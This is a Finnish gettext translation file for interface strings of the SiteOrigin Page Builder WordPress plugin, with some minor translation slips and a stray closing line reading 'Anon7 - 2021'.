msgid "Testimonial (PB)"
msgstr "Lausunnot (PB)"

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr "Sijainti"

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr "Kuva"

#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr "URL"

#: siteorigin-panels.php:1254
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr "Vimpain 1{%1$s} ei ole saatavilla. Kokeile löytää ja asentaa puuttuva lisäosa. Lähetä viesti 2{tukifoorumille} jos tarvitset apua."

#: tpl/js-templates.php:64
msgid "Add a 1{widget}, 2{row} or 3{prebuilt layout} to get started. Read our 4{documentation} if you need help."
msgstr "Lisää 1{vimpain} tai 3{valmis asettelu} päästäksesi alkuun. Lue meidän 4{dokumentaatio} jos tarvitset apua."

#: widgets/basic.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr "Kokonainen SiteOrigin Page Builder asettelu vimpaimena."

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr "Näyttää listan ranskalaisin viivoin"

#: inc/widgets.php:118
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr "Ota käyttöön lisää vimpaimia 1{Vimpainpaketin asetuksista}."

#: inc/widgets.php:127
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr "Asenna 1{Vimpainpaketti} saadaksesi lisää vimpaimia."

#: inc/widgets.php:140
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr "Voit ottaa käyttöön vanhat (PB) vimpaiment 1{Page Buildet asetuksissa}."

#: siteorigin-panels.php:1231
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr "Sinun pitää asentaa 1{%1$s} käyttääksesi vimpainta 2{%2$s}"

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr "Lue 1{ohje asetuksista} Page Builderin dokumentaatiosta saadaksesi apua."

#: tpl/admin-home-page.php:29
msgid "Home page updated. 1{View page}."
msgstr "Kotisivu päivitetty 1{Katso sivu}."

#: widgets/basic.php:469 widgets/widgets.php:629
msgid "Additional query arguments. See 1{query_posts}."
msgstr "Haun lisäasetukset. Katso 1{query_posts}."

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr "Lue 1{koko dokumentaatio} SiteOriginilla. Kysy kysymyksiä tukifoorumillamme 2(support forum) jos tarvitset apua ja liity 3{uutiskirjeeseemme} saadaksesi uusimmat tiedot tulevasta kehityksestä."

#: tpl/js-templates.php:302
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr "1{Aseta rivin asettelu}: %1$s palstaa suhteella %2$s alkaen %3$s"

Anon7 - 2021